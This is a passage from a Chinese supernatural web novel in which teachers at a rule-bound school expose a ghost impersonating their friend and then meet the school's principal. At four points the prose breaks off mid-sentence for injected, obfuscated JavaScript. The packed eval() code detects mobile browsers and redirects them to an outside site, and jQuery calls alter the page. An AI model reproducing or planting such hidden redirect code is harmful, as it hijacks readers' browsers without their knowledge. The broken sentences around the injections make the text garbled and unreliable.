这是纪南亦离开之前说的最后一句话，虽然只有短短的三个字，但温润的声调如同娟细的水流，奇迹般的抚平了季毛毛躁动的内心。 等她再次望去的时候，门口早就没了纪南亦和钱纹的身影。 让她没想到的是，关羽羽竟然留下了。 关羽羽指了指门外，带着季毛毛来到了教室外面。 刚出来，季毛毛就迫不及待地开口：“这是怎么回事？小羽你刚刚是不是故意不看我的？” 关羽羽有些无奈地叹了口气：“毛毛，我知道你在想什么，但是教务处由教务处的规矩，如果不秉公处理，那我的后果会更惨。” “而且我刚刚其实也想过周旋一下，但南亦她不让我这么做。我看她的意思是，想和钱纹去禁闭室。” “为什么？” 这下季毛毛是真的听不懂了，什么叫纪南亦想和钱纹去禁闭室。 那里又不是马尔代夫，不知道的还以为这么主动是想去度蜜月呢。 “因为刚刚在教室那个人，不是钱纹。” 关羽羽轻飘飘的一句话，却如炸弹投向湖面，让季毛毛本就告急的大脑容量更是亮起了红灯。 知道她一时难以反应过来，关羽羽继续解释道：“因为早在来这里之前，我已经在禁闭室见过钱纹了。” 季毛毛：？？说话大喘气能不能拉出去枪毙？ 关羽羽拿出手机，调出了她的职业卡牌，上面写着她要遵守的规则。 其中第一条便是每天七点钟，需前往办公室检查老师高考模拟卷的出卷情况。 “今天只有数学组的压轴大题被通报存在问题，而那道大题的负责人就是钱纹是，所以早在七点的时候，我跟她就已经见过面了。” “七点的时候……那个时候钱纹明明是跟我们在一起。”季毛毛越说越心虚，说到后面声音都有些发涩：“那也不能确定你遇到的那个就是真的钱纹啊……” 如果说，在大学时期纪南亦和关羽羽日常一起行动比较多的话，那她跟钱纹便是形影不离的二人组。 她自然也能感受到现在的钱纹跟之前有些不同，但她的观察力和感应力向来不像纪南亦一样敏锐，又不像关羽羽一样擅长总结，所以她也只能仅限于觉得不对劲这一层面了。 想到这里，季毛毛也就明白了，为什么之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617720|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在教室中的时候，纪南亦对她和钱纹的态度有着明显的不同—— 明明纪南亦平常是个温和到看起来无欲无求的人，对谁都是一副极尽包容的姿态，今天却在跟钱纹说话的时候透露着些许锋芒。 看着季毛毛丰富的表情，关羽羽笑笑道：“刚刚来这里看到的时候，我也有些不确定，毕竟我也没接触过她。” “但知道了南亦的选择，我就明白她肯定是发现了什么，所以教室里这个肯定是假的。”关羽羽扶了扶眼镜，镜片后的眼睛中满是坚定。 “毕竟，我相信她。” 季毛毛却还是有些不解：“那这也不能解释南亦为什么主动跟她一起去禁闭室呀。” 禁闭室这个名字一听就不是什么好地方，更何况初来乍到，贸然范险真的没问题吗？ 相比下，关羽羽倒是看起来到没这么担心：“南亦可能担心跟她摊牌后她暴起伤人，你在一旁可能就危险了。” 听到关羽羽的猜测，季毛毛心里有些许的复杂。 她还想说什么，可嘴巴张了几次后，最后还是没说出来。 她没想到纪南亦竟然为她考虑到了这一步。 就算她们是舍友，可在当下这个一不小心就会有生命危险的世界里，如此深沉的感情让她在感动之余，还有一种名为愧疚的酸涩涌上心头。 就在不到一个小时之前，自己还在对着纪南亦大喊大叫，甚至跟“钱纹”一起怀疑纪南亦的真实性。 而那个时候，纪南亦就已经看出来了“钱纹”的不对劲，还在为她后续的安全铺路。 这么看来，自己还真的是…… 另一边早就被带到禁闭室的纪南亦倒是没有这么丰富的内心活动，只是在两名教务处工作人员退出锁上门后，优哉游哉地坐到了靠墙角的椅子上。 房间里的陈设很简单，甚至可以说是简陋。 除开头顶的两盏带有微弱电流爆炸音泛着黄光的老式灯泡，她坐着的这把椅子是整个房间里唯一的物件，甚至连窗户都没有。 把厚重的铁门关上后，整个房间便成了一个全封闭的状态，颇像一个巨大的铁皮盒子。 如果到这里的人没有强大的心理承受能力，恐怕刚进来就会被这样的场景吓得心神不宁。 跟她不紧不慢的样子不同，“钱纹”脸上是掩饰不住的慌乱：“南亦，怎么办呀，这里会不会有什么危险呀？” 见“钱纹”一边哭诉一边走过来企图抓自己的衣袖，纪南亦不动声色的微微侧身躲开，唇角始终噙着一抹淡淡的笑意。 这是“钱纹”第一次看清楚纪南亦的眼睛，原来在那永远带着笑意的嘴角上，是锐利到仿佛能直接将她的灵魂看穿的冰冷。 “怎、怎么了，南亦……” 不知道为什么，行骗众多的她也是第一次有了心虚的感觉。 纪南亦语气一如既往地淡淡：“没事，只是看到了一个外表跟你一样的故人。” “什么……” “钱纹”这时才发现，从刚刚开始，纪南亦的目光就没有聚焦在自己身上，而是越过自己看向了身后那片没被灯光照亮的黑暗地带。 等她回过头去的时候，就发现一个长得跟自己一模一样的女人从里面走了出来…… 5. 教务处守则 从暗处走出来的钱纹见到外面竟然有人跟自己有着同样的脸，先是一惊，后转而看向纪南亦问道：“南亦，这是怎么回事？” “这恐怕得她来解释了。” 纪南亦话说的很慢，却如同雷电一样敲击在“钱纹”的心上。 都到这个时候了，“钱纹”就算再傻也能明白纪南亦应该早就对自己产生了怀疑，心下凉了一半。 但面上她还是扯出了一个僵硬的笑：“南亦你在说什么呀，我不知道……” “这个人是不是教务处他们故意弄出来离间我们的，南亦你千万不要被骗呀。” 说完她还用偷看了一下纪南亦的反应，却发现对方全程坐在椅子上，却连一个眼神都不愿意给她。 见纪南亦那边行不通，“钱纹”只能恶狠狠地看着在她身后和她长得一样的女人，冷声道：“你到底是什么东西，为什么会跟我长得一样？” “这话姑奶奶我还想问你呢，据我所知，我爸那个老登可在外面没有什么私生女。” 钱纹毫不客气地甩过去一个白眼，脸上是掩饰不住的嫌弃：“姑奶奶我向来最讨厌学人精，乖乖做自己有这么难吗？” 话到激动处，她甚至上前毫不客气地捏了捏“钱纹”的脸：“你这张脸去哪个医院做的啊？倒是比前面99个真多了，不过为了模仿我，连自己的脸都不要了真的好吗？” 突然意识到自己好像被骂了的“钱纹”：…… “钱纹。”纪南亦打断了她的动作，“她这不是整容，她应该是有特殊能力的鬼怪。” “什么？！” 这时的钱纹才知道自己正在做多么危险的事情，她忙得抽回了自己的手，生怕晚一秒就会被对方暴起砍掉。 她从传送到这个学校里来就一直在办公室里，除了后面被关羽羽带着同事抓到这里，就没接触过其他生物。 所以就算她很清楚自己在这里一不留神就会丢掉小命，但也怎么也没想到这竟然还是个灵异剧本。 纪南亦继续道：“不过你也不用担心，她受规则影响，不能主动伤害你。” 钱纹：……我讨厌大喘气！ “你都知道了？” 听到纪南亦的话，“钱纹”清楚自己已经没有装下去的必要了。 甚至眼前这个女人，比她预想的知道的都多。 仿佛没有感受到“钱纹”的思绪波动，纪南亦脸上依旧挂着那似有若无的笑：“你如果在路上少乱动一些，应该也能看到教务处守则。” 正如她前面所料，除却一开始手机里给她们的顺德中学教师守则，不同的部门地点还会有其他的规则。 禁闭室位于教务处的内部，所以刚刚经过教务处的时候，她一眼就看到了上面贴着的守则条例。 这个时候纪南亦作为文科生的记忆优势就凸显出来了，仅仅看了一遍，就全部记下来了。 【顺德中学教务处守则】 【第一，教务处是老师们的坚强后盾，无论老师们遇到了什么困难，一定要不留余力不惜任何代价替他们解决。 第二，教务处隶属于校长办公室，一切行动最高指挥权和解释权归校长所有。 第三，教务处人员应按值班表于每天7:00和7:30分别检查教师办公室和学生教室情况，若发现违反规定者，按照处罚条例执行。 （切记！此规定并非敌对老师，而是在保护他们！请时刻谨记我们的立场！） 第四，学校内严禁出现伤害老师的情况，无论是谁，一经发现，即刻上报校长。】 说完纪南亦还贴心地做了个总结：“所以啊，在从头到尾都立志保护老师的教务处眼皮子底下，你应该也不会轻举妄动吧？” 最开始纪南亦对于教师守则里【教务处是老师们坚强的后盾】这一说法是存疑的，毕竟无论是教师守则还是后续发生的事，都说明了老师的地位在学校里并不高。 可偏偏教务处的守则里却是一副全心全意为了老师的模样，甚至看起来有些不择手段。 如此矛盾的情况下，即便是纪南亦，都有些不明白这所学校的用意。 完全没反应过来自己处境的“钱纹”还在纠结另一个问题：“你是从什么时候发现的？明明我装的很像，而且你们之前明明没见过面。” 另一边，一直被隔绝在外不知道发生了什么的钱纹也很好奇事情的经过。 纪南亦叹了口气，回答道：“很简单，首先因为真正的钱纹从来不会对毛毛那么有耐心。” “钱纹”更是不解：“什么意思，你们不是朋友吗？难道……你们是塑料姐妹花？！” 钱纹再次白了她一眼：“像季毛毛这种笨蛋，我对她的耐心向来只有三分钟。” 纪南亦伸出了两根手指，继续道：“第二，你在无法直接伤害我们的前提下，只能用跟莱星一样的方式——也就是引诱我们违反规则，进而让我们受到惩罚。” “教师守则规定，有正课或自习安排的的老师需全程在教室陪伴，我可不相信钱纹作为文科专业的大学生，能把这么重要的规则忘了，还劝我跟毛毛去办公室。” 说到这里，纪南亦的眼神里甚至多了一丝玩味：“你有点太急了。” 对于这个理由，“钱纹”倒是不那么意外，反而扬起了一个恶劣的笑：“这次是我失算了，没想到你们这么不好骗。” “是失算，还是试探？”纪南亦拿出手机，打开了微信上的一个群聊信息。 这是她来到这个世界后手机里自动出现的，是高三四班家长群。而聊天记录里，正好有一份前不久二模的成绩单。 打开后，上面第一个便是一个叫“莱星”的名字，这人正是先前举手询问问题的靠窗男生的名字。 而这个人的数学成绩，是全班唯一的满分150。 “你们两个应该是一伙的吧，引诱我们去办公室只是一个简单的试探，后面你们一唱一和强买强卖才是把我送到教务处受罚的真正计划。” “不过……”纪南亦顿了一下，也学着“钱纹”恶劣的样子勾了勾嘴角，“你不知道，这所谓的惩罚并没有任何危险，甚至教务处竟然是站在老师这边的。” 这下“钱纹”是真的绷不住了，甚至赌气般直接换回了自己的原型。 那是一张明艳张扬的脸，微微上挑的狐狸眼配着下垂的眉尾，让她在每个眼神都充满风情的同时又不会让人感到强大的攻击性，反而有着一丝媚而不俗的仙气。 饶是由于家庭原因见过无数美女的钱纹都不由得屏住了呼吸，甚至有一瞬间忘了眼前是一个对自己和舍友饱含恶意的厉鬼。 下一秒，这张美丽的脸上就尽是冰冷的神色：“我早该想到的，你们这群老师这么有恃无恐，背后肯定有什么东西撑腰。” “没想到竟然是教务处，亏我还天真地以为教务处可以压制或者制衡你们。” 女人的语气中甚至多了些自嘲的意味。 钱纹问道：“所以你到底是谁，你为什么要冒充我害我的舍友？” 女人懒洋洋地看了她一眼，事到如今她也不想再挣扎什么了，自然也懒得给两人好脸色。 “我叫煜姝，是隔壁三班的学生，至于为什么害你们……”她撇了一眼紧锁的厚重铁门，喉咙里传出一声冷嗤。 “很简单，因为你们是老师啊。” 听到这话，钱纹忍不住道：“老师怎么了，你这孩子青春期怎么比我还叛逆？” 煜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617721|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姝并没有回答，甚至后面无论钱纹在问什么她都没有再开口，就连纪南亦都在一旁陷入了沉思。 终于，在钱纹感觉自己要被这两人的“冷暴力”逼疯的时候，禁闭室的门开了。 9:35了，她们可以出去了。 三人一起离开禁闭室后，仅仅是眨眼的间隙，煜姝的身影就已经消失的无影无踪。 钱纹也早已在煜姝变身的时候接受了对方非人类的设定，对此并没有表现出太多惊讶。 不过她还有一个点不明白：“你说为什么教务处那边察觉不出来他们抓了两个我呢？” 纪南亦摇了摇头，猜测道：“可能是因为她不仅仅是简单的模仿形象，还会改变其他人的认知。只不过这里的其他人指的应该是对你不熟悉的人。” 现在是第二节课后的大课间，按照学校对学生们身体的考虑，这个时候所有的学生都要下楼以班级为单位跑操。 此时整个学校里都响着动感音乐，作为大家下楼集合的前奏曲。 只不过跟动感十足的音乐不同，每个下楼的学生脸上都是生无可恋的幽怨，再加上他们的本体非人，导致整个学校的怨气都已经到了有形的程度，天空都暗了不少。 看到这一幕，钱纹感触颇深地轻啧了两声：“果然，跑操是一项连鬼都受不了的运动。” “南亦！不好了不好了！呼——！” 一路狂奔的季毛毛从拐角冲了出来，脸上是连大喘气都遮掩不住的焦急。 终于在她看到纪南亦后先是一喜，却又在余光扫到旁边的钱纹后，想起了关羽羽之前跟自己说过的话，立马警惕了起来。 纪南亦一手扶住季毛毛的胳膊，另一只手来回轻抚她的后背帮忙顺气，声音一如既往地冷静：“别急，慢慢说。” “慢、慢不了，是那个七七……她……”季毛毛向来不擅长运动，平常追个公交车都能让她上气不接下气，但此时她却猛地深吸几口气，企图让自己能够把话完整的说完。 “七七她不见了！” 纪南亦闻言，眉头一皱：“你什么时候发现的？班里没有人知道她去哪了吗？” 季毛毛终于缓了一下，回答道：“我是刚刚去检查他们跑操人数的时候发现不对的，班里人说从第一节下课就没再见过她了。” 虽然不知道七七是谁，但看到两个舍友严肃的神情，钱纹也跟着担心起来：“第二节是什么课，任课老师没发现异常吗？” “你……” 季毛毛注意到旁边还有个钱纹后不着痕迹地往纪南亦那边靠了靠，原本还想在说什么的嘴巴紧紧地闭了起来。 明白她心里顾忌的纪南亦拍拍她的脑袋，“放心，这个是真的钱纹。” 听纪南亦这么说，钱纹也是明白了季毛毛为什么对自己是这幅样子，佯怒掐了掐季毛毛肉肉的脸蛋。 “季毛毛我说你是不是蠢啊？咱俩一个宿舍这么久你都分辨不出哪个是真的我来？” 钱纹恶狠狠地声音和脸上熟悉的力度让季毛毛瞬间就确定了对方的身份。 没错了，这是真的小钱总，这力度她可太熟悉了！ 季毛毛轻车熟路地从钱纹的魔爪下挣脱出来，可怜巴巴地揉着自己微红的脸问道：“那之前那个跟你长得一样的人呢？她去哪了？” “她啊，实际上是隔壁三班的鬼学生，叫煜姝，现在估计应该下去跑操了吧。” 提起煜姝，钱纹的脑海里不禁又浮现出那张惊为天人的脸。让她不禁感叹，如果所有的鬼学生都长这样，那给他们上课自己也不是不能接受。 “煜姝……”季毛毛咀嚼这这两个字，眉头却皱在了一起。 “可是，隔壁班没有叫煜姝的人啊……” 6. 早恋管不管？ “什么意思？”纪南亦眉间一跳。 季毛毛从手机翻出三班的学生名单，放到两人面前：“你们看嘛，名单里也没有呀。” 作为体育老师，任课压力不像文化课老师一样大，所以季毛毛分管的是三班和四班两个班级。 刚刚她下去也是从三班开始点名，她非常确信一个人都没少。 翻来覆去看了几遍名单，纪南亦和钱纹两人对视一眼，都从彼此的眼中看到了疑惑—— 煜姝，到底是谁？ 但现在她们没时间纠结这个，当务之急是找到失踪的七七。 纪南亦看了看课表，发现四班第一二节上的都是化学，三人便当即决定先去办公室找化学老师问一下情况。 三人刚走到办公室打开门，就发现地垂着头的七七正准备从里面走出来。 纪南亦的目光越过七七，发现办公室里只有化学老师曹云一个人笑眯眯地坐在那里。 见她们进来，曹云还有些惊讶：“咦，你们不用去检查跑操吗？” “班里少了个人，我们过来找找。” 纪南亦余光扫过七七略微颤抖的身体，安抚般地摸了摸她的后背：“怎么了，是遇到什么困难了吗？” 七七小心翼翼地抬头看着眼前这个经常欺负她的老师，晶莹的目光中满是纠结。 不知道为什么，今天的班主任总给她一种很安心想依靠的感觉，甚至让她不由自主地想去倾诉心中的秘密…… 可是—— 可是莱星哥说过，老师们都是很擅长伪装的，不要轻易相信她们。 而且刚刚她就因为太容易相信，所以才…… 想到这里，七七紧咬着自己的嘴唇摇了摇头，因为情绪太过激动没控制住力气，白净的皮肤上直接被咬出了红痕。 “哎呀纪老师，没啥事，就是七七最近化学考的不理想，我单独把她叫过来说一下。”纪南亦还想追问，刚要开口就被曹云打断了下来。 由于距离太近，在曹云刚开口的时候，纪南亦就感觉到七七身上颤抖地更加严重。 就连脑袋都死死低了下去，俨然一副誓死都不肯再抬起来的模样。 曹云起身走到七七身旁，不动声色地把隔了出去，玩弄式地拍拍七七的脑袋，笑问道：“你说是不是呀，七七？” 被碰到的七七周身明显慌乱了不少，身体宛若应激性地立刻答道：“是、是的……曹老师说的没错。” 纪南亦的目光巡视般地扫过两人，最后跟曹云的视线在空中交汇，两人就这么无声地僵持住了。 轮谁都不会相信，若只是成绩不好被老师谈话，一个学生能被吓成这个样子。这背后肯定还有其他原因。 眼前这个女人还多此一举地过来“威胁”七七，如此拙劣的手段，到底把她们当成傻子了吗？ 亦或者，故意露出破绽，引她们入计。 最后，纪南亦勾出一个跟曹云唇角一样的弧度，道：“既然没什么事，那我就先带着七七去跑操了，不然等下被教务处查到可就不好了。” 在弄明白前方到底是真相还是陷阱之前，纪南亦并不打算轻举妄动。 这次曹云并没有阻拦，而是侧身回到了自己原本的工位，手腕一翻，示意几人请便。 待几人陆续走出办公室，留在最后的钱纹回头扫视一圈，问道：“对了，曹老师你看到陈老师去哪里了吗？” “你说我家老陈啊，孩子学校临时有事，他请假过去处理了，你找他有什么事吗？”曹云答道。 这时钱纹才注意到，曹云桌上放着的一家三口的合照中男人的脸正是她早晨见过的陈龙。 钱纹点点头，“没什么大事，就是他早上跟我说第三节的物理课跟我下午的课换一下，我还没想好就被教务处叫走了，所以想问问他还需不需要。” “现在看样子，第三节课确实要上数学了。” 说完只见钱纹跑到工位麻利地拿起课本和扩音器小蜜蜂，又哒哒哒地跑了出去。 她可不想等下再来跑一趟了，指不定又遇上什么倒霉事。 学生们跑操的时间也就十分钟，等几人带着七七回到教室的时候，已经有不少人陆陆续续地回来了。 可能是刚刚结束运动的原因，燥热的天气让人心头也浮躁起来，回来的人三三两两地跟身边人打闹着，时不时发出几声爆笑。 纪南亦有些不悦地皱了皱眉，问钱纹要过扩音器后用课本一角敲了敲讲桌。 铁物撞击发出的巨大声音吸引了班里所有人的注意，仅仅是一瞬间，原本嘈杂的教室便安静了下来。 “还有不到一个月就要高考了，你们竟然还有心思玩，上次考试都考好了是吧？” 这是钱纹和季毛毛第一次见纪南亦如此严厉的样子 那个向来说话温柔，仿佛有着耗不尽耐心的淡人舍友，现在倒颇有一副从业三十年阴阳怪气技能拉满的老教师模样 其实不光她俩，就连台下的学生们也没见过这架势。 不过想到平常老师们也会合作欺负他们满足自己的恶趣味，众人倒是没觉得纪南亦的行为奇怪，反而都乖乖地回到座位安静坐下了。 他们可不想上来就被盯上。 不出意外，她感受到一股直愣愣的视线从窗边望向自己，毫不避讳，或者可以说是特意等她发现。 纪南亦当然不会辜负他的“好意”。 “莱星，你等下跟我去办公室把数学老师新出的试卷拿过来，下节课考试。” 此话说完，不光班里的学生，就连站在旁边的钱纹和季毛毛都懵了。 纪南亦扬声解释：“看你们这个样子，想必觉得自己学的很好了，考一场才知道自己到底什么水平。” “可是……”季毛毛在旁白鬼鬼祟祟地举了个手，问道，“一节课45分钟，考不完呀，一套试卷两个小时呢。” 纪南亦像是早就想到了这个问题一样，毫不犹豫地答道：“谁说只考一节课的？第四节体育课这周先占了，考数学，从下周开始每周的两节体育课，一节上语文，一节上数学。” 季毛毛：？？ 她还没说话呢就把她的课占了？？ 拜托，她这个体育老师这么没地位的吗？她是那种盼着占课好让自己摸鱼的老师吗？ 好吧，她是。 其实她也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617722|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想给这群小鬼们上课，有些学生光看外形她都觉得打怵，更别提单独给他们上课了。 纪南亦那边还在轻车熟路地计算时间：“现在距离上课还有25分钟，给大家五分钟收拾时间，加上两节课90分钟，以及中间课间的10分钟，刚好两个小时。” “大家需要打水上厕所的快去，等下就发试卷了，下个课间也可以上厕所，但是不要说话打扰到其他人，听明白了没有？” 纪南亦熟练地样子让旁边插不上话的数学老师本人都有些汗颜。 高中实行素质教育的钱纹实在无法想象纪南亦到底经历过多少次这样的合课考试，才能如此精确地把课件都给算了进去。 只能说，应试教育还是太超前了。 安排好一切后，纪南亦让钱纹和季毛毛在教室等着监考，自己则是跟莱星去办公室拿试卷。 刚从禁闭室出来的时候，煜姝拍拍屁股一溜烟就跑了，还留下一个根本不存在的假身份，纪南亦可一直没忘。 现在想要弄清楚煜姝的身份，恐怕只有从这个之前跟她合作过的男生入手了。 莱星应该是也有话想跟自己说，所以刚刚才选择“主动出击”迎上她的目光。 到办公室的路不算近，前半段路两个各怀心思的人谁都没有选择率先开口。 毕竟在这种情况下，谁先说话，就可能落于下风。 “老师……”眼看着办公室越来越近，莱星有些忍不住了，“刚刚是不是你把七七带回来的？” 纪南亦不知道是不是自己的错觉，她竟从男生的语气中捕捉到一丝焦躁和不安。 她点点头，道：“在办公室碰到的，曹老师说是叫七七过去谈化学没考好的问题去了。” 莱星闻言，像是想到了什么一样垂在两侧的手骤然紧绷握起，浓密的眉毛也拧在了一起。 沉默许久，直到两人走到门口，纪南亦才听到他略带苦涩的声音：“我知道了，谢谢老师带七七回来。” 显然，莱星这个反应大概是知道什么，只不过现在纪南亦纠结的是另一个问题—— 作为一个优秀的班主任，高三学生早恋要不要管？ 不过按照她多年当学生的经验，这两个小孩应该还没在一起，除了刚刚莱星主动提问，她还真没看到两人在其他地方有过交集。 再想到七七那张单纯无辜的娃娃脸和呆萌的性格，纪南亦大致可以确定，现在顶多是莱星的单相思时间。 让她意外的是，办公室里竟然空无一人。 要知道，从她们带着七七离开到再次回来，时间甚至没超过十分钟，曹云却离开了。 是有什么重要的事情吗？ 纪南亦拿起试卷，若无其事地问道：“你认识煜姝吗？” 听到这个名字，莱星动作再次一顿，目光试探性地划过纪南亦的脸，试图从上面读出对方问这个的目的。 可纪南亦自始至终都在浅浅的笑着，弯弯的眼眸中是如春风般的温柔，这幅无害的样子让人下意识就会放松警惕。 即使是最难骗人的面部肌肉走向，都没有一处因紧张而紧绷，就像她只是在跟他随意地唠家常一样。 7. 校长办公室 “老师怎么知道她的？” 即便看不出任何破绽，莱星也不打算正面回答，通过反问重新把握主动权才是他的习惯。 数好一遍后，纪南亦自然地把试卷丢到莱星的怀里，率先走出了办公室。 她很清楚莱星的防备心多强，不过对于这种关键性“NPC”，她向来很有耐心，她喜欢有挑战的工作。 纪南亦答道：“我看过她的成绩单。” “也对……谁不知道她的成绩多好呢。”莱星的声音不大，但纪南亦却从中听出了一丝怅然。 她顺着问道：“所以你认识她。” 跟莱星不同，纪南亦的交涉习惯在于以退为进式的诱因，必要时可以赌一下。 她只是给出了一个很粗略的回答，甚至没说这个成绩是好还是坏。 只要莱星没有否认“成绩单”这件事，就说明煜姝确实是一名“学生”，那她身份的范围也就初步缩小了。 莱星点了点头，继续说道：“我是在物理竞赛班跟她认识的，我刚进班的时候，她就已经拿过金奖了。” 对于这个消息，纪南亦倒是有些意外。 这样说下来，煜姝的年纪应该比莱星大。 加上成绩优异并拿过竞赛金奖，这种配置放到哪个学校都是可以登上光荣榜供后面学弟学妹们学习的榜样，为什么又会出现在学校里面？ 像是看出了她的疑惑，莱星嘴角的笑意带上了嘲讽的意味：“只是听到这里，就能让人觉得可惜，不是吗……” 后面直到两人走回教室，莱星都没有再次开口的打算。 不过纪南亦的心情不错，她已经得到了她想要的情报，甚至比预计的更多。 安排钱纹和季毛毛把试卷发下去后，纪南亦又叮嘱了一下两人监考的注意事项后，便一个人向着学校档案馆走去。 路上她给远在教务处的关羽羽打了个电话：“羽羽，档案馆是教务处负责的吗？” 关羽羽的声音听起来很闷，像是在刻意压低音量：“没有，甚至我们跟那边的关系很不好，具体原因我也不清楚。” “南亦，你是要查什么东西吗？我可以从这边看看能不能查到。” 纪南亦想了一下，“那你帮我看看学校历年成绩优异或者竞赛得奖的同学毕业去向，特别是其中一个叫煜姝的人。” “好，最晚下午我就告诉你。”关羽羽顿了一下，“你如果还想去档案馆，需要拿到校长开的查阅证明，这恐怕有点难。” 关羽羽很清楚纪南亦的性格，跟其他人眼中的无欲无求淡然处世的形象不同，纪南亦心里一直十分渴望挑战与冒险。 可以说是越危险的挑战，越能刺激她的神经，激起她的好胜心。 但关羽羽作为教务处的工作人员，在她的视角里，校长室绝对可以称得上是最危险的地方。 周围的“同事”对那里可谓是谈之色变，多提一下就要爆炸的程度，好像里面不是校长，而是一个可以吞噬灵魂的恶魔一样。 所以即便知道自己的劝阻大概率没用，但她希望纪南亦去的时候多少带点心理准备。 “需要找校长？”纪南亦挑了挑眉。 如果这个时候有人在她身边，一定能从那双被下垂睫毛挡住的桃花眼中看到最深处的兴奋。 挂断电话后，纪南亦当即就调转方向去了电梯那边，直接上到了校长室所在的八楼。 八楼的一整层都是校长室的范围，平常除了几乎见不到的校长外，很少有人主动去往那里。 就算关羽羽没有提醒，纪南亦也很清楚那边应该是个全体老师都会害怕的地方，毕竟能作为教师守则里面最严重的惩罚，足以看出其危险性。 踏入八楼的一瞬间，纪南亦发现周围原本跟其他楼层一样光洁的走廊竟直接变了模样。 暗红色的地毯一直蔓延到走廊的深处，头顶昏黄的灯光甚至无法照亮两侧的墙壁。 不知道从哪里来的风不规律地打在脸上，带来的呜咽声像是幽魂的悲鸣。 若换成旁人站在这里，恐怕背后都已经被冷汗浸湿，下意识就想转身逃离这个恐怖的地方。 可纪南亦看到这一幕时，额角冒出了因激动产生的汗水，嘴角的弧度都比日常时大了几分。 脚步一下又一下结实地踩在地毯上，纪南亦却从其中感觉到了不似正常地毯般柔软的触感。 那是一种如粘液般粘稠的吸附感，致使她每次抬腿都比平常多用了几分力气。 一路上两侧不带任何指示牌的房间很多，经过时总能听到里面传出一些让人心颤的声音。 有的是声嘶力竭的嘶吼，也有满怀幽怨的哭泣，甚至有几扇门后是已至癫狂的笑声。 但即便这样，纪南亦的步伐也没有放慢过哪怕一瞬，自始至终都坚定地走向走廊最里面的房间。 这八楼比她想象中的更有意思，独属于校长的楼层竟然有这么多“人”，那最深处的校长室呢？ 不知道走了多久，纪南亦终于站在了校长室的朱红色大门前，敲门声在空荡荡的楼道里竟然还响起了轻微的回音。 “请进。” 过了将近一分钟的时间，一道清冽的男声才从里面传来。 随着纪南亦推门而入，校长室的场景也在她的面前展开了。 跟想象中的满是鲜血淋漓的鬼手亦或是泛着幽光的森森白骨不同，除却四周众多接临着的摆满厚重泛黄书籍的书架，其他的配置都跟普通校长办公室一样。 宽大的工作桌摆在一侧，阳光透过窗户恰恰好柔和地撒在上面，顺带着给坐在那边的男人脸上都镀了一层暖黄的柔光。 纪南亦摸了摸鼻子，这是她诧异时下意识的动作。 任谁也无法想到，外面压抑惊悚的走廊后，竟然是如此温暖的地方。 刚刚说话的男人此时正托着腮上下打量着她，眼神里是毫不掩饰的好奇。 纪南亦也是毫不客气地盯着这个外表看起来只有二十岁出头模样的男人，她甚至有一瞬间怀疑，这人是校长刚大学毕业的儿子也说不定。 看到他的第一眼，纪南亦就明白了所谓的剑眉星目到底是什么模样。 白净的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617723|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面容并不会让人觉得阴柔，反而配着他深邃的目光给人一种看狗都深情的感觉。 偏偏这人还留着一头黑色的微卷发，在阳光下竟像只幼年期的美卡犬。 众所周知，在游戏里越是关键的人物建模就越是精致，先前的莱星和煜姝也都验证了这一观点。 现在眼前这人的脸更是超越前面两位不止一个层级，其重要程度可见一斑。 正当纪南亦还在思考应该怎么开口的时候，男人率先发起了提问：“你是怎么过来的？” 饶是纪南亦听到这个问题都愣了一下，接着她试探性地说道：“就……坐电梯上来，然后走过来的？” 让纪南亦更没想到的是，像是听到了什么根本不可能的事情一样，男人脸上的疑惑不减反增。 但他又好像是不知道怎么问下去一样，憋了半天最后只问了一句：“你叫什么名字？” “纪南亦，是高三四班的班主任。”纪南亦走到办公桌前，脸上依旧是习惯性浅笑，“那请问该怎么称呼校长您呢？” “我姓万，单名一个墨。你找我是有什么事吗？” 纪南亦也直接开门见山道：“万校长，我想去档案馆查一些东西，所以想向您要一下查阅证明。” 听到“档案馆”三个字，万墨几不可查地皱了皱眉，眼底迅速地划过了一道警觉，但这些动作都落到了纪南亦的眼中。 正当她以为对方会拒绝自己的时候，万墨却点了点头：“我知道了。” 